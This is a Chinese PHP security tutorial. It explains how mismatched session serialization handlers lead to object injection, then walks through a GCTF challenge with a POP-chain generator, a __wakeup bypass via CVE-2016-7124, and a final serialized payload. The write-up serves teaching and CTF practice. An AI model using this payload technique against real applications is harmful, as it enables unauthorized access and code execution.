PHP的session反序列化漏洞问题
在php.ini中存在三项配置项：
|
1
2
3
4
|
session.save_path="" --设置session的存储路径
session.save_handler="" --设定用户自定义存储函数，如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start boolen --指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.serialize_handler string --定义用来序列化/反序列化的处理器名字。默认使用php
|
以上的选项就是与PHP中的Session存储和序列话存储有关的选项。
在使用xampp组件安装中，上述的配置项的设置如下：
|
1
2
3
4
|
session.save_path="D:\xampp\tmp" 表明所有的session文件都是存储在xampp/tmp下
session.save_handler=files 表明session是以文件的方式来进行存储的
session.auto_start=0 表明默认不启动session
session.serialize_handler=php 表明session的默认序列话引擎使用的是php序列话引擎
|
在上述的配置中，session.serialize_handler是用来设置session的序列话引擎的，除了默认的PHP引擎之外，还存在其他引擎，不同的引擎所对应的session的存储方式不相同。
php_binary:存储方式是，键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
php:存储方式是，键名+竖线+经过serialize()函数序列处理的值
php_serialize(php>5.5.4):存储方式是，经过serialize()函数序列化处理的值
在PHP中默认使用的是PHP引擎，如果要修改为其他的引擎，只需要添加代码ini_set('session.serialize_handler', '需要设置的引擎');。示例代码如下：
session 的目录在 /var/lib/php/sessions 中
|
1
2
3
4
5
|
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['name'] = 'spoock';
var_dump($_SESSION);
|
在 php_serialize 引擎下，session文件中存储的数据为:
|
1
|
a:1:{s:4:"name";s:6:"spoock";}
|
php 引擎下文件内容为:
|
1
|
name|s:6:"spoock";
|
php_binary 引擎下文件内容为:
|
1
|
names:6:"spoock";
|
由于name的长度是4，4在ASCII表中对应的就是EOT。根据php_binary的存储规则，最后就是names:6:"spoock";。(突然发现ASCII的值为4的字符无法在网页上面显示，这个大家自行去查ASCII表吧)
PHP Session中的序列化危害
PHP中的Session的实现是没有的问题，危害主要是由于程序员的Session使用不当而引起的。
如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样，会导致数据无法正确第反序列化。通过精心构造的数据包，就可以绕过程序的验证或者是执行一些系统的方法。例如:
|
1
|
$_SESSION['ryat'] = '|O:1:"A":1:{s:1:"a";s:2:"xx";}';
|
php文件如:
|
1
2
3
4
|
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['ryat'] = '|O:1:"A":1:{s:1:"a";s:2:"xx";}';
|
访问后得到session文件中的内容如下：
|
1
2
|
root/var/lib/php/sessions cat sess_e07gghbkcm0etit02bkjlbhac6
a:1:{s:4:"ryat";s:30:"|O:1:"A":1:{s:1:"a";s:2:"xx";}
|
但此时模拟在其他页面使用不同的php引擎来读取时的内容如下：(默认使用php引擎读取session文件)
|
1
2
3
4
5
6
7
8
9
10
11
|
<?php
#ini_set('session.serialize_handler', 'php_serialize');
session_start();
#$_SESSION['ryat'] = '|O:1:"A":1:{s:1:"a";s:2:"xx";}';
class A {
public $a = 'aa';
function __wakeup() {
echo $this->a;
}
}
// var_dump($_SESSION);
|
访问该页面输出xx
|
1
2
3
4
5
6
7
|
xxarray(1) {
["a:1:{s:4:"ryat";s:30:""]=>
object(A)#1 (1) {
["a"]=>
string(2) "xx"
}
}
|
这是因为当使用php引擎的时候，php引擎会以|作为作为key和value的分隔符，那么就会将 a:1:{s:4:"ryat";s:30:" 作为SESSION的key，将 O:1:"A":1:{s:1:"a";s:2:"xx";} 作为value，然后进行反序列化，最后就会得到A这个类。
这种由于序列话化和反序列化所使用的不一样的引擎就是造成PHP Session序列话漏洞的原因。漏洞在加载使用php引擎的页面时session去读session中的内容并反序列化导致漏洞触发，不需要任何输出
GCTF上的一道session反序列化漏洞分析:
index.php中内容为:
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
<?php
//error_reporting(E_ERROR & ~E_NOTICE);
ini_set('session.serialize_handler', 'php_serialize');
header("content-type;text/html;charset=utf-8");
session_start();
if(isset($_GET['src'])){
$_SESSION['src'] = $_GET['src'];
highlight_file(__FILE__);
print_r($_SESSION['src']);
}
?>
<!DOCTYPE HTML>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>代码审计2</title>
</head>
<body>
|
在php中，经常会使用序列化操作来存取数据，但是在序列化的过程中如果处理不当会带来一些安全隐患。
|
1
2
3
4
5
6
7
|
<form action="./query.php" method="POST">
<input type="text" name="ticket" />
<input type="submit" />
</form>
<a href="./?src=1">查看源码</a>
</body>
</html>
|
query.php 中的内容为:
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
|
/************************/
/*
//query.php 部分代码
session_start();
header('Look me: edit by vim ~0~')
//......
class TOPA{
public $token;
public $ticket;
public $username;
public $password;
function login(){
//if($this->username == $USERNAME && $this->password == $PASSWORD){ //抱歉
$this->username =='aaaaaaaaaaaaaaaaa' && $this->password == 'bbbbbbbbbbbbbbbbbb'){
return 'key is:{'.$this->token.'}';
}
}
}
class TOPB{
public $obj;
public $attr;
function __construct(){
$this->attr = null;
$this->obj = null;
}
function __toString(){
$this->obj = unserialize($this->attr);
$this->obj->token = $FLAG;
if($this->obj->token === $this->obj->ticket){
return (string)$this->obj;
}
}
}
class TOPC{
public $obj;
public $attr;
function __wakeup(){
$this->attr = null;
$this->obj = null;
}
function __destruct(){
echo $this->attr;
}
}
*/
|
思路如下:
这题中我们构造一个TOPC，在析构的时候则会调用echo $this->attr;；
将attr赋值为TOPB对象，在echo TOPB的时候会自动调用__tostring魔术方法
在__tostring中会调用unserialize($this->attr),因为后面用到token和ticket，所以显然时TOPA对象。后面判断需要$this->obj->token === $this->obj->ticket,所以在序列化的时候进行指针引用使$a->ticket = &$a->token;，即可绕过判断。
至于为什么(string)$this->obj会输出flag，后台写的login可能是__tostring吧。
其中反序列化字符串中会有一个__wakeup()函数清空里面的参数，我问可以通过一个cve来绕过：CVE-2016-7124。将Object中表示数量的字段改成比实际字段大的值即可绕过wakeup函数。
最后的代码为:
|
1
2
3
4
5
6
7
8
9
10
11
|
$testa = new TOPA();
$testc = new TOPC();
$testb = new TOPB();
$testa->username = 0;
$testa->password = 0;
$testa->ticket = &$testa->token;
$sa = serialize($testa);
$testc->attr = $testb;
$testb->attr = $sa;
$test = serialize($testc);
echo $test;
|
最终payload为:
|
1
|
|O:4:"TOPC":3:{s:3:"obj";N;s:4:"attr";O:4:"TOPB":2:{s:3:"obj";N;s:4:"attr";s:84:"O:4:"TOPA":4:{s:5:"token";N;s:6:"ticket";R:2;s:8:"username";i:0;s:8:"password";i:0;}";}}
|
相关文章
- 暂无相关文章
PHP之友评论